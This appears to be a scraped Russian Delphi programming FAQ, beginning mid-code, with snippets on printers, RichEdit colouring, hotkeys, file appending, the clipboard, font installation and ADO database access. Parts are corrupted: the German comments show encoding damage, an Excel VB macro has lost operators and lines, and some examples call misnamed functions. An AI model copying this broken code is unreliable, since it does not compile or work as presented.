pPrinter^.pPrintProcessor := PCHAR(PrintProcessor);
if AddPrinter(pName, Level, pPrinter) <> 0 then
Result := true
else
begin
// ShowMessage(inttostr(GetlastError));
Result := false;
end;
end;
end.
|
Как открыть диалог добавления принтера.
// добавьте ShellAPI в USES
begin
ShellExecute(handle, nil, 'rundll32.exe',
'shell32.dll,SHHelpShortcuts_RunDLL AddPrinter',
'', SW_SHOWNORMAL);
end;
|
Как открыть диалог Add Printer.
Автор: http://www.sources.ru
// добавьте ShellAPI в USES ShellExecute(handle, nil, 'rundll32.exe', 'shell32.dll,SHHelpShortcuts_RunDLL AddPrinter', '', SW_SHOWNORMAL); end;
Добавление записи в файл.
unit apprec_;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Edit1: TEdit; // спортсмен
ComboBox1: TComboBox; // страна
ComboBox2: TComboBox; // вид спорта
RadioGroup1: TRadioGroup; // медаль
Button1: TButton; // кнопка Добавить
Label5: TLabel;
Label4: TLabel;
procedure FormActivate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
// тип медали
TKind = (GOLD, SILVER, BRONZE);
// запись файла
TMedal = record
country: string[20]; // страна
sport: string[20]; // вид спорта
person: string[40]; // спортсмен
kind: TKind; // медаль
end;
var
Form1: TForm1;
f: file of TMedal; // файл записей - база данных
implementation
{$R *.DFM}
// активизация формы
procedure TForm1.FormActivate(Sender: TObject);
var
resp: word; // ответ пользователя
begin
AssignFile(f, 'a:\medals.db');
{$I-}
Reset(f); // открыть файл
Seek(f, FileSize(f)); // указатель записи в конец файла
{$I+}
if IOResult = 0
then button1.enabled := TRUE // теперь кнопка Добавить доступна
else
begin
resp := MessageDlg('Файл базы данных не найден.' +
'Создать новую БД?', mtInformation, [mbYes, mbNo], 0);
if resp = mrYes then
begin
{$I-}
rewrite(f);
{$I+}
if IOResult = 0
then button1.enabled := TRUE
else ShowMessage('Ошибка создания файла БД.');
end;
end;
end;
// щелчок на кнопке Добавить
procedure TForm1.Button1Click(Sender: TObject);
var
medal: TMedal;
begin
with medal do
begin
country := ComboBox1.Text;
sport := ComboBox2.Text;
person := Edit1.Text;
case RadioGroup1.ItemIndex of
0: kind := GOLD;
1: kind := SILVER;
2: kind := BRONZE;
end;
end;
write(f, medal); // записать содержимое полей записи в файл
end;
// завершение работы программы
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
CloseFile(f); // закрыть файл
end;
end.
Скачать весь проект
Добавить цветную строку в TRichEdit.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
To color text in a TRichEdit, follow this two steps:
Um einen Text in einem TRichEdit еinzиfдгьеn, mьssеn folgende 2 Schritte
gemacht werden:
1) Select the text with the SelStart, SelLength properties.
Markiere den Text mit SelStart, SelLength Eigenschaften.
2) Set the text attribtutes through the SelAttributes property.
Die Textattribute mit SelAttributes setzen.
}
{
1. Example/ Beispiel:
Add a colored line to a TRichEdit:
Eine farbige Zeile zu einem TRichEdit hinzиfьgеn:
}
procedure AddColoredLine(ARichEdit: TRichEdit; AText: string; AColor: TColor);
begin
with ARichEdit do
begin
SelStart := Length(Text);
SelAttributes.Color := AColor;
SelAttributes.Size := 8;
SelAttributes.Name := 'MS Sans Serif';
Lines.Add(AText);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
AddColoredLine(RichEdit1, 'Hallo', clRed);
AddColoredLine(RichEdit1, 'Hallo', clGreen);
end;
{
2. Example/ Beispiel:
To color the 5 characters.
Die ersten 5 Zeichen im Richedit blau еinfдгьеn.
}
procedure TForm1.Button1Click(Sender: TObject);
begin
RichEdit1.SelStart := 0;
RichEdit1.SelLength := 5;
RichEdit1.SelAttributes.Color := clBlue;
end;
{
3. Example/ Beispiel: ( by www.delphimania.de)
To color a specified line with a color
So kann eine beliebige Zeile mit einer Farbe gеfдгьt werden:
}
procedure RE_ColorLine(ARichEdit: TRichEdit; ARow: Integer; AColor: TColor);
begin
with ARichEdit do
begin
SelStart := SendMessage(Handle, EM_LINEINDEX, ARow - 1, 0);
SelLength := Length(Lines[ARow - 1]);
SelAttributes.Color := AColor;
SelLength := 0;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ZeileFaerben(RichEdit1, 4, clGreen);
end;
Выставляем горячие клавиши для Delphi приложения.
| Нажмите любую клавишу... Нет, нет, только не эту!.. |
Как сделать так, чтобы при минимизации приложения в Tray его можно было вызвать определённой комбинацией клавиш, например Alt-Shift-F9 ?
//В обработчике события OnCreate
//основной формы создаём горячую клавишу:
if not RegisterHotkey(Handle, 1, MOD_ALT or MOD_SHIFT, VK_F9) then
ShowMessage('Unable to assign Alt-Shift-F9 as hotkey.');
//В событии OnClose удаляем горячую клавишу:
UnRegisterHotkey( Handle, 1 );
//Добавляем обработчик в форму для сообщения
//WM_HOTKEY:
private // в секции объявлений формы
procedure WMHotkey( var msg: TWMHotkey ); message WM_HOTKEY;
procedure TForm1.WMHotkey( var msg: TWMHotkey );
begin
if msg.hotkey = 1 then
begin
if IsIconic( Application.Handle ) then
Application.Restore;
BringToFront;
end;
end;
|
Добавление строки к файлу.
| Из FAQ`а по Quake (CTF). Q: Я только что законнектился на CTF-сервер. Как узнать - голубой я или красный? А: Если Вашу команду выеб%т - голубой, а если замочат - красный. |
procedure AddStrToFile(S:string;const FileName:string;doNextLine:boolean);
{Добавление строки к файлу doNextLine - перевод строки}
const
CR=#13#10;
var
f:TFileStream;
begin
if FileExists(FileName)
then f:=TFileStream.Create(FileName,fmOpenWrite+fmShareDenyNone)
else f:=TFileStream.Create(FileName,fmCreate);
f.Position:=f.Size;
if doNextLine and (f.Size> 0)
then f.Write(CR,2);
f.Write(pointer(s)^,length(s));
f.Destroy;
end;
|
Записать или добавить текст в файл.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function AppendOrWriteTextToFile(FileName : TFilename; WriteText : string): boolean;
var
f : Textfile;
begin
Result := False;
AssignFile(f, FileName);
try
if FileExists(FileName) = False then
Rewrite(f)
else
begin
Append(f);
end;
Writeln(f, WriteText);
Result := True;
finally
CloseFile(f);
end;
end;
// Sample Source...
procedure TForm1.Close1Click(Sender : TObject);
var
dir, log : string;
begin
dir := ExtractFilePath(Application.Exename);
log := 'Last Programm Termination: ' + DateTimeToStr(now);
AppendOrWriteTextToFile(dir + '\logfile.txt', log)
end;
Сложение времени.
| Обращение фирмы Microsoft к пользователям: B связи c незначительной технической проблемой, релиз операционной системы "Windows 2000" откладывается на первый квартал 1901 года. |
Если Вы создаёте приложение, в котором пользователь вводит значения времени, то стандартные вычисления не подойдут. Проблема в том, что нужно сделать так, чтобы выражение 1.20 + 1.70 было равно НЕ 2.90 а 3.10.
Здесь представлены три функции, которые решают эту проблему. Они работают только с часами и минутами, потому что пользователь очень редко используют секунды, но если Вам потребуются секунды, то Вы без труда сможете доработать эти функции по своему желаню. Вторая и третья функции позволяют преобразовать реальное значение времени в десятичный эквивалент и обратно. Все поля на форме будут в формате hh.mm.
function sumhhmm(a, b: double): double; var h1: double; begin h1 := (INT(A) + INT(B)) * 60 + (frac(a) + frac(b)) * 100; result := int(h1 / 60) + (h1 - int(h1 / 60) * 60) / 100; end; function hhmm2hhdd(const hhmm: double): double; begin result := int(hhmm) + (frac(hhmm) / 0.6); end; function hhdd2hhmm(const hhdd: double): double; begin result := int(hhdd) + (frac(hhdd) * 0.6); end; // ************************************** // // Использование: // // ************************************** // // sumtime(1.20,1.50) => 3.10 // // sumtime(1.20,- 0.50) => 0.30 // // hhmm2hhdd(1.30) => 1.5 (1h.30m = 1.5h) // // hhdd2hhmm(1.50) => 1.30 (1.5h = 1h30m) // // ************************************** // |
Добавление текста в буфер обмена без использования модуля Clipbrd.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Добавление текста в буфер обмена без использования модуля Clipbrd
Wnd - Handle окна, получающего доступ к буферу обмена,
может быть Application.Handle или Form.Handle
Value - текст, помещаемый в буфер обмена
Зависимости: Windows
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 22 августа 2002 г.
***************************************************** }
function SetClipboardText(Wnd: HWND; Value: string): Boolean;
var
hData: HGlobal;
pData: pointer;
Len: integer;
begin
Result := True;
if OpenClipboard(Wnd) then
begin
try
Len := Length(Value) + 1;
hData := GlobalAlloc(GMEM_MOVEABLE or GMEM_DDESHARE, Len);
try
pData := GlobalLock(hData);
try
Move(PChar(Value)^, pData^, Len);
EmptyClipboard;
SetClipboardData(CF_Text, hData);
finally
GlobalUnlock(hData);
end;
except
GlobalFree(hData);
raise
end;
finally
CloseClipboard;
end;
end
else
Result := False;
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject); begin SetClipboardText(Handle, 'qwerty'); end;
Как добавить True Type шрифт в систему.
Чтобы установить шрифт в систему, необходимо скопировать файл шрифта в 'Windows\Fonts' и добавить ключ в реестр: 'Software\Microsoft\Windows\CurrentVersion\Fonts'Этот ключ указывает на файл шрифта. Далее запускаем API функцию 'AddFontRecource'. В заключении нужно уведомить систему широковещательным сообщением.
uses Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
hReg: TRegistry;
hBool : bool;
begin
CopyFile('C:\DOWNLOAD\FP000100.TTF',
'C:\WINDOWS\FONTS\FP000100.TTF', hBool);
hReg := TRegistry.Create;
hReg.RootKey := HKEY_LOCAL_MACHINE;
hReg.LazyWrite := false;
hReg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Fonts',
false);
hReg.WriteString('TESTMICR (TrueType)','FP000100.TTF');
hReg.CloseKey;
hReg.free;
//Добавляем ресурс шрифта
AddFontResource('c:\windows\fonts\FP000100.TTF');
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
//Убираем блокировку ресурса
RemoveFontResource('c:\windows\fonts\FP000100.TTF');
SendMessage(HWND_BROADCAST, WM_FONTCHANGE, 0, 0);
end;
|
Настройка оси.
Автор: Lookin WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Настройка оси
Настройка сетки графика по оси ординат. Имеет смысл при передаче данных в
другие пакеты, использующие графическое представление данных (например, в Excel).
Зависимости: uses Chart, TeEngine, Math;
Автор: lookin
Copyright: lookin
Дата: 25 декабря 2002 г.
***************************************************** }
//для использования в Delphi
procedure CalcAxis(NChart: TChart);
var
step, ymx, ymn, rmx, rmn, raz: double;
i, n, m, d: integer;
begin
with NChart do
begin
ymx := -10000000000;
ymn := 10000000000;
m := 0;
n := 0;
for i := 0 to SeriesCount - 1 do
if Series[i].XValues.Count <> 0 then
begin
if Series[i].YValues.MaxValue > ymx then
ymx := Series[i].YValues.MaxValue;
if Series[i].YValues.MinValue < ymn then
ymn := Series[i].YValues.MinValue;
end;
rmx := ymx;
rmn := ymn;
while ymn < 0 do
begin
ymn := ymn + 100;
ymx := ymx + 100;
Inc(m);
end;
raz := ymx - ymn;
while raz < 100 do
begin
ymn := ymn * 10;
ymx := ymx * 10;
raz := ymx - ymn;
Inc(n);
end;
ymx := Ceil(ymx);
ymn := Floor(ymn);
d := trunc(ymx) div 100;
ymx := (d + 1) * 100;
d := trunc(ymn) div 100;
ymn := d * 100;
raz := ymx - ymn;
step := raz / 5;
ymx := ymx / (Power(10, n)) - m * 100;
ymn := ymn / (Power(10, n)) - m * 100;
step := step / (Power(10, n));
d := 0;
for i := 1 to 5 do
if (d = 0) and (ymn + step * i > rmx) then
d := i;
if d <> 0 then
ymx := ymn + step * d;
d := 0;
for i := 1 to 5 do
if (d = 0) and (ymn + step * i < rmn) then
d := i;
if d <> 0 then
ymn := ymn + step * d;
with LeftAxis do
begin
Automatic := false;
Increment := step;
Minimum := -100000000000;
Maximum := ymx;
Minimum := ymn;
end;
end;
end;
//для использования в Excel в качестве макроса (Visual Basic)
Function SetAxisRange(CChart As Chart, ByRef AMax As Double,
ByRef AMin As Double, ByRef AStep As Double)
Dim Step, RMax, RMin, Max, Min, Raz As Double
Dim I, J, N, M, d As Integer
Max = -1000000
Min = 1000000
For I = 1 To CChart.SeriesCollection.Count
ReDim VArray(UBound(CChart.SeriesCollection(I).Values))
VArray = CChart.SeriesCollection(I).Values
For J = 1 To UBound(VArray)
If VArray(J) > Max Then Max = VArray(J)
If VArray(J) Min Then
While Min RMax Then d = I
End If
Next I
If d <> 0 Then AMax = AMin + AStep * d
d = 0
For I = 1 To 5
If d = 0 Then
If (AMin + AStep * I) 0 Then AMin = AMin + AStep * d
End If
End Function
Пример использования:
CalcAxis(Form1.Chart1);
ADO.OLEDB.JET - Access Violation при передаче неполного параметра.
Автор: Дмитрий Померанцев Проблема обнаружена под операционной системой Windows 2000 SP3, в среде Delphi6, Delphi7 (скорее всего не зависит от версии Delphi) с использованием Microsoft Jet DB Engine версия 4, SP3. Некоторый, вполне типичный, код заполнения запроса в процессе выполнения вызывает Access Violation, притом, что согласно документации все должно работать корректно. Пример кода:Допустим, есть база данных в MS Access 2000, имеющая таблицу main и в ней целочисленное (INT) поле id в качестве главного ключа. Так же есть компонент ADOQuery1: TADOQuery, для доступа к базе данных. Максимальное значение поля id может быть получено следующим кодом:
ADOQuery1.Active := false;
ADOQuery1.SQL.Clear;
ADOQuery1.SQL.Add('SELECT max(id)'); // -- Сбой здесь !!!
ADOQuery1.SQL.Add('AS idmax');
ADOQuery1.SQL.Add('FROM main');
ADOQuery1.Active := true;
|
1. Передавать запрос целиком — одной строкой. Пример:
ADOQuery1.Active := false; ADOQuery1.SQL.Text := 'SELECT max(id) AS idmax FROM main;'; ADOQuery1.Active := true; |
Еще один вариант решения - использовать стандартные возможности TStrings по управлению обновлением:
ADOQuery1.SQL.BeginUpdate;
try
ADOQuery1.SQL.Clear;
ADOQuery1.SQL.Add('SELECT max(id)');
ADOQuery1.SQL.Add('AS idmax');
ADOQuery1.SQL.Add('FROM main');
finally
ADOQuery1.SQL.EndUpdate;
end;
|
В этом случае событие OnChange произойдет только при выполнении EndUpdate.
Найти все таблицы базы данных при помощи ADO.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
//How to retrieve all database tables with ADO
unit dbTables;
interface
uses ADODb;
type
TTableType = (ttTable, ttView, ttSynonym, ttSystemTable, ttAccessTable);
type
TTableTypes = set of TTableType;
type
TTableItem = record
ItemName: string;
ItemType: string;
end;
type
TTableItems = array of TTableItem;
function addFilter(string1, string2: string): string;
function ADODbTables(ADOConnection: TADOConnection; types: TTableTypes): TTableItems;
implementation
function addFilter(string1, string2: string): string;
begin
if string1 <> '' then
Result := string1 + ' or ' + string2
else
Result := string2;
end;
function ADODbTables(ADOConnection: TADOConnection; types: TTableTypes): TTableItems;
var
ADODataSet: TADODataSet;
i: integer;
begin
ADODataSet := TADODataSet.Create(nil);
ADODataSet.Connection := ADOConnection;
ADOConnection.OpenSchema(siTables, EmptyParam, EmptyParam, ADODataSet);
if (ttTable in types) then
ADODataSet.Filter := addFilter(ADODataSet.Filter, '(TABLE_TYPE = ''TABLE'')');
if (ttView in types) then
ADODataSet.Filter := addFilter(ADODataSet.Filter, '(TABLE_TYPE = ''VIEW'')');
if (ttSynonym in types) then
ADODataSet.Filter := addFilter(ADODataSet.Filter, '(TABLE_TYPE = ''SYNONYM'')');
if (ttSystemTable in types) then
ADODataSet.Filter := addFilter(ADODataSet.Filter, '(TABLE_TYPE = ''SYSTEM TABLE'')');
if (ttAccessTable in types) then
ADODataSet.Filter := addFilter(ADODataSet.Filter, '(TABLE_TYPE = ''ACCESS TABLE'')');
ADODataSet.Filtered := True;
SetLength(Result, ADODataSet.RecordCount);
i := 0;
with ADODataSet do
begin
First;
while not EOF do
begin
with Result[i] do
begin
ItemName := FieldByName('TABLE_NAME').AsString;
ItemType := FieldByName('TABLE_TYPE').AsString;
end;
Inc(i);
Next;
end;
end;
ADODataSet.Free;
end;
end.
{
Example: create a new project and add a TADOConnection (ADOConnection1),
a TButton (Button1) and a TMemo (Memo1); assign a ConnectionString to the
TADOConnection component and set "ADOConnection1.Active := True"
}
procedure TForm1.Button1Click(Sender: TObject);
var
output: ttableitems;
i: integer;
begin
output := ADODbTables(ADOConnection1, [ttTable, ttView, ttSynonym]);
// output := ADODbTables(ADOConnection1, [ttSystemTable, ttAccessTable]);
for i := Low(output) to High(output) do
begin
Memo1.Lines.Add(output[i].ItemName + '---' + output[i].ItemType);
end;
output := nil;
end;
Как работать с ADO компонентами в DLL.
Автор: Vit WEB-сайт: http://forum.vingrad.ruВ оконных приложениях инициализацию COM берет на себя строка в файле проекта:
Application.Initialize;
А вот в DLL и консольных программах обэекта Application нет, и при попытке работать с любыми ActiveX, включая широко используемые ADO компоненты генерится ошибка, которую исправить очень просто: достаточно в секцию Uses в DPR файле добавить модуль oleauto.
Как работать из Delphi напрямую с ADO.
Автор: NomadicИтак, хочу поделиться некоторыми достижениями... так на всякий случай. Если у вас вдруг потребуется сделать в своей программке доступ к базе данных, а BDE использовать будет неохота (или невозможно) - то есть довольно приятный вариант: использовать ActiveX Data Objects. Однако с их использованием есть некоторые проблемы, и одна из них это как передавать Optional параметры, которые вроде как можно не указывать. Однако, если вы работаете с ADO по-человечески, а не через тормозной IDispatch.Invoke то это превращается в головную боль. Вот как от нее избавляться:
var OptionalParam: OleVariant; VarData: PVarData; begin OptionalParam := DISP_E_PARAMNOTFOUND; VarData := @OptionalParam; VarData^.VType := varError; |
Там есть масса вариантов, но как выяснилось оптимальным является следующий вариант, который позволяет получить любой желаемый вид курсора (как клиентский, так и серверный).
var MyConn: _Connection; MyComm: _Command; MyRecSet: _Recordset; prm1: _Parameter; begin MyConn := CoConnection.Create; MyConn.ConnectionString := 'DSN=pubs;uid=sa;pwd=;'; MyConn.Open( '', '', '', -1 ); MyCommand := CoCommand.Create; MyCommand.ActiveConnection := MyConn; MyCommand.CommandText := 'SELECT * FROM blahblah WHERE BlahID=?' Prm1 := MyCommand.CreateParameter( 'Id', adInteger.adParamInput, -1, <value> ); MyCommand.AppendParameter( Prm1 ); MyRecSet := CoRecordSet.Create; MyRecSet.Open( MyCommand, OptionalParam, adOpenDynamic, adLockReadOnly, adCmdText ); |
В Delphi (как минимум в 4 версии) существует "константа" EmptyParam, которую можно подставлять в качестве пустого параметра.
Передача параметров ADO запросу.
CONECT_STR='Provider=Microsoft.Jet.OLEDB.4.0;Password=" " ;User ID=Admin;'+{Data Source=D:\ЕхВd\ТЕРМО\Вd0.mdb;}
'Data Source=%s; Mode=Read|Write|Share Deny None;Extended Properties=" " ;'+
'Locale Identifier=1049;Persist Security Info=True;Jet OLEDB:System database=" " ;'+
'Jet OLEDB:Registry Path=" " ;Jet OLEDB:Database Password=" " ;Jet OLEDB:Engine Type=4;'+
'Jet OLEDB:Database Locking Mode=0;Jet OLEDB:Global Partial Bulk Ops=2;'+
'Jet OLEDB:Global Bulk Transactions=1;Jet OLEDB:New Database Password=" " ;'+
'Jet OLEDB:Create System Database=False;Jet OLEDB:Encrypt Database=False;'+
'Jet OLEDB:Compact Without Replica Repair=False;Jet OLEDB:SFP=False';
function TdmR3.GetCountForPeriod(LastDate: TDateTime; IsPlan: boolean): Integer;
var qu: TADOQuery;
S: String;
begin
qu:=TADOQuery.Create(nil);
try
S:=FormatDateTime('dd.mm.yy',LastDate);
qu.ConnectionString:=WideString(Format(CONECT_STR,[db_file]));
qu.SQL.Text:='select count(*) from DecadaVal as d where d.LastDate=:LastDate and IsPlan=:IsPlan';
qu.Parameters[0].Value:=LastDate;
qu.Parameters[1].Value:=IsPlan;
qu.Open;
Result:=qu.Fields[0].AsInteger;
finally
qu.Free;
end;
end;
|
Быстрый доступ к ADO.
unit ADO;
{This unit provides a quick access into ADO
It handles all it's own exceptions
It assumes it is working with SQL Server, on a PLC Database
If an exception is thrown with a [PLCErr] suffix:
the suffix is removed, and ErrMsg is set to the remaining string
otherwise
the whole exception is reported in ErrMsg
Either way, the function call fails.
Globals: adocn - connection which all other ADO objects use
adors - Recordset
adocmd - Command Object
adocmdprm - Command Object set aside for Parametric querying
ConnectionString
- Connection String used for connecting
ErrMsg - Last Error Message
ADOActive - Indicator as to whether ADO has been started yet
Functions:
General ADO
ADOStart:Boolean;
ADOReset:Boolean;
ADOStop:Boolean;
Recordsets
RSOpen(SQL:string;adRSType,adLockType,adCmdType:integer;UseServer:Boolean):Boolean;
RSClose:Boolean;
Normal Command Procedures
CMDExec(SQL:string;adCmdType:integer):Boolean;
Parametric Procedures
PRMClear:Boolean;
PRMSetSP(StoredProcedure:string;WithClear:Boolean):Boolean;
PRMAdd(ParamName:string;ParamType,ParamIO,ParamSize:integer;Val:variant):Boolean;
PRMSetParamVal(ParamName:string;val:variant):Boolean;
PRMGetParamVal(ParamName:string;var val:variant):Boolean;
Field Operations
function SQLStr(str:string;SQLStrType:TSQLStrType);
function SentenceCase(str:string):string;
--to convert from 'FIELD_NAME' -> 'Field Name' call
SQLStr(SentenceCase(txt),ssFromSQL);
}
interface
uses OLEAuto, sysutils;
const
{Param Data Types}
adInteger = 3;
adSingle = 4;
adDate = 7;
adBoolean = 11;
adTinyInt = 16;
adUnsignedTinyInt = 17;
adDateTime = 135;
advarChar = 200;
{Param Directions}
adParamInput = 1;
adParamOutput = 2;
adParamReturnValue = 4;
{Command Types}
adCmdText = 1;
adCmdTable = 2;
adCmdStoredProc = 4;
adCmdTableDirect = 512;
adCmdFile = 256;
{Cursor/RS Types}
adOpenForwardOnly = 0;
adOpenKeyset = 1;
adOpenDynamic = 2;
adOpenStatic = 3;
{Lock Types}
adLockReadOnly = 1;
adLockOptimistic = 3;
{Cursor Locations}
adUseServer = 2;
adUseClient = 3;
function ADOReset: Boolean;
function ADOStop: Boolean;
function RSOpen(SQL: string; adRSType, adLockType, adCmdType: integer;
UseServer: Boolean): Boolean;
function RSClose: Boolean;
function CMDExec(SQL: string; adCmdType: integer): Boolean;
function PRMClear: Boolean;
function PRMSetSP(StoredProcedure: string; WithClear: Boolean): Boolean;
function PRMAdd(ParamName: string; ParamType, ParamIO, ParamSize: integer; Val:
variant): Boolean;
function PRMSetParamVal(ParamName: string; val: variant): Boolean;
function PRMGetParamVal(ParamName: string; var val: variant): Boolean;
type
TSQLStrType = (ssToSQL, ssFromSQL);
function SQLStr(str: string; SQLStrType: TSQLStrType): string;
function SentenceCase(str: string): string;
var
adocn, adors, adocmd, adocmdPrm: variant;
ConnectionString, ErrMsg: string;
ADOActive: boolean = false;
implementation
var
UsingConnection: Boolean;
function ADOStart: Boolean;
begin
//Get the Object References
try
adocn := CreateOLEObject('ADODB.Connection');
adors := CreateOLEObject('ADODB.Recordset');
adocmd := CreateOLEObject('ADODB.Command');
adocmdprm := CreateOLEObject('ADODB.Command');
result := true;
except
on E: Exception do
begin
ErrMsg := e.message;
Result := false;
end;
end;
ADOActive := result;
end;
function ADOReset: Boolean;
begin
Result := false;
//Ensure a clean slate...
if not (ADOStop) then
exit;
//Restart all the ADO References
if not (ADOStart) then
exit;
//Wire up the Connections
//If the ADOconnetion fails, all objects will use the connection string
// directly - poorer performance, but it works!!
try
adocn.ConnectionString := ConnectionString;
adocn.open;
adors.activeconnection := adocn;
adocmd.activeconnection := adocn;
adocmdprm.activeconnection := adocn;
UsingConnection := true;
except
try
adocn := unassigned;
UsingConnection := false;
adocmd.activeconnection := ConnectionString;
adocmdprm.activeconnection := ConnectionString;
except
on e: exception do
begin
ErrMsg := e.message;
exit;
end;
end;
end;
Result := true;
end;
function ADOStop: Boolean;
begin
try
if not (varisempty(adocn)) then
begin
adocn.close;
adocn := unassigned;
end;
adors := unassigned;
adocmd := unassigned;
adocmdprm := unassigned;
result := true;
except
on E: Exception do
begin
ErrMsg := e.message;
Result := false;
end;
end;
ADOActive := false;
end;
function RSOpen(SQL: string; adRSType, adLockType, adCmdType: integer;
UseServer: Boolean): Boolean;
begin
result := false;
//Have two attempts at getting the required Recordset
if UsingConnection then
begin
try
if UseServer then
adors.CursorLocation := adUseServer
else
adors.CursorLocation := adUseClient;
adors.open(SQL, , adRSType, adLockType, adCmdType);
except
if not (ADOReset) then
exit;
try
if UseServer then
adors.CursorLocation := adUseServer
else
adors.CursorLocation := adUseClient;
adors.open(SQL, , adRSType, adLockType, adCmdType);
except
on E: Exception do
begin
ErrMsg := e.message;
exit;
end;
end;
end;
end
else
begin
//Use the Connetcion String to establish a link
try
adors.open(SQL, ConnectionString, adRSType, adLockType, adCmdType);
except
if not (ADOReset) then
exit;
try
adors.open(SQL, ConnectionString, adRSType, adLockType, adCmdType);
except
on E: Exception do
begin
ErrMsg := e.message;
exit;
end;
end;
end;
end;
Result := true;
end;
function RSClose: Boolean;
begin
try
adors.Close;
result := true;
except
on E: Exception do
begin
ErrMsg := e.message;
result := false;
end;
end;
end;
function CMDExec(SQL: string; adCmdType: integer): Boolean;
begin
result := false;
//Have two attempts at the execution..
try
adocmd.commandtext := SQL;
adocmd.commandtype := adCmdType;
adocmd.execute;
except
try
if not (ADOReset) then
exit;
adocmd.commandtext := SQL;
adocmd.commandtype := adCmdType;
adocmd.execute;
except
on e: exception do
begin
ErrMsg := e.message;
exit;
end;
end;
end;
result := true;
end;
function PRMClear: Boolean;
var
i: integer;
begin
try
for i := 0 to (adocmdprm.parameters.count) - 1 do
begin
adocmdprm.parameters.delete(0);
end;
result := true;
except
on e: exception do
begin
ErrMsg := e.message;
result := false;
end;
end;
end;
function PRMSetSP(StoredProcedure: string; WithClear: Boolean): Boolean;
begin
result := false;
//Have two attempts at setting the Stored Procedure...
try
adocmdprm.commandtype := adcmdStoredProc;
adocmdprm.commandtext := StoredProcedure;
if WithClear then
if not (PRMClear) then
exit;
result := true;
except
try
if not (ADOReset) then
exit;
adocmdprm.commandtype := adcmdStoredProc;
adocmdprm.commandtext := StoredProcedure;
//NB: No need to clear the parameters, as an ADOReset will have done this..
result := true;
except
on e: exception do
begin
ErrMsg := e.message;
end;
end;
end;
end;
function PRMAdd(ParamName: string; ParamType, ParamIO, ParamSize: integer; Val:
variant): Boolean;
var
DerivedParamSize: integer;
begin
//Only try once to add the parameter (a call to ADOReset would reset EVERYTHING!!)
try
case ParamType of
adInteger: DerivedParamSize := 4;
adSingle: DerivedParamSize := 4;
adDate: DerivedParamSize := 8;
adBoolean: DerivedParamSize := 1;
adTinyInt: DerivedParamSize := 1;
adUnsignedTinyInt: DerivedParamSize := 1;
adDateTime: DerivedParamSize := 8;
advarChar: DerivedParamSize := ParamSize;
end;
adocmdprm.parameters.append(adoCmdPrm.createparameter(ParamName, ParamType,
ParamIO, DerivedParamSize, Val));
except
on e: exception do
begin
ErrMsg := e.message;
end;
end;
end;
function PRMSetParamVal(ParamName: string; val: variant): Boolean;
begin
//Only try once to set the parameter (a call to ADOReset would reset EVERYTHING!!)
try
adocmdprm.Parameters[ParamName].Value := val;
result := true;
except
on e: exception do
begin
ErrMsg := e.message;
result := false;
end;
end;
end;
function PRMGetParamVal(ParamName: string; var val: variant): Boolean;
begin
//Only try once to read the parameter (a call to ADOReset would reset EVERYTHING!!)
try
val := adocmdprm.Parameters[ParamName].Value;
result := true;
except
on e: exception do
begin
ErrMsg := e.message;
result := false;
end;
end;
end;
function SQLStr(str: string; SQLStrType: TSQLStrType): string;
var
FindChar, ReplaceChar: char;
begin
{Convert ' '->'_' for ssToSQL (remove spaces)
Convert '_'->' ' for ssFromSQL (remove underscores)}
case SQLStrType of
ssToSQL:
begin
FindChar := ' ';
ReplaceChar := '_';
end;
ssFromSQL:
begin
FindChar := '_';
ReplaceChar := ' ';
end;
end;
result := str;
while Pos(FindChar, result) > 0 do
Result[Pos(FindChar, result)] := ReplaceChar;
end;
function SentenceCase(str: string): string;
var
tmp: char;
i {,len}: integer;
NewWord: boolean;
begin
NewWord := true;
result := str;
for i := 1 to Length(str) do
begin
if (result[i] = ' ') or (result[i] = '_') then
NewWord := true
else
begin
tmp := result[i];
if NewWord then
begin
NewWord := false;
result[i] := chr(ord(result[i]) or 64); //Set bit 6 - makes uppercase
end
else
result[i] := chr(ord(result[i]) and 191); //reset bit 6 - makes lowercase
end;
end;
{This was the original way of doing it, but I wanted to look for spaces or '_'s,
and it all seemed problematic - if I find a better way another day, I'll alter the above...
if str<>'' then
begin
tmp:=LowerCase(str);
len:=length(tmp);
tmp:=Uppercase(copy(tmp,1,1))+copy(tmp,2,len);
i:=pos('_',tmp);
while i<>0 do
begin
tmp:=copy(tmp,1,i-1)+' '+Uppercase(copy(tmp,i+1,1))+copy(tmp,i+2,len-i);
i:=pos('_',tmp);
end;
end;
result:=tmp;}
end;
end.
|
Экспорт ADO таблиц в разные форматы.
Автор: http://www.swissdelphicenter.ch
{
Exporting ADO tables into various formats
In this article I want to present a component I built in order to
supply exporting features to the ADOTable component. ADO supplies
an extended SQL syntax that allows exporting of data into various
formats. I took into consideration the following formats:
1)Excel
2)Html
3)Paradox
4)Dbase
5)Text
You can see all supported output formats in the registry:
"HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\ISAM formats"
This is the complete source of my component }
unit ExportADOTable;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Db, ADODB;
type
TExportADOTable = class(TADOTable)
private
{ Private declarations }
//TADOCommand component used to execute the SQL exporting commands
FADOCommand: TADOCommand;
protected
{ Protected declarations }
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
//Export procedures
//"FiledNames" is a comma separated list of the names of the fields you want to export
//"FileName" is the name of the output file (including the complete path)
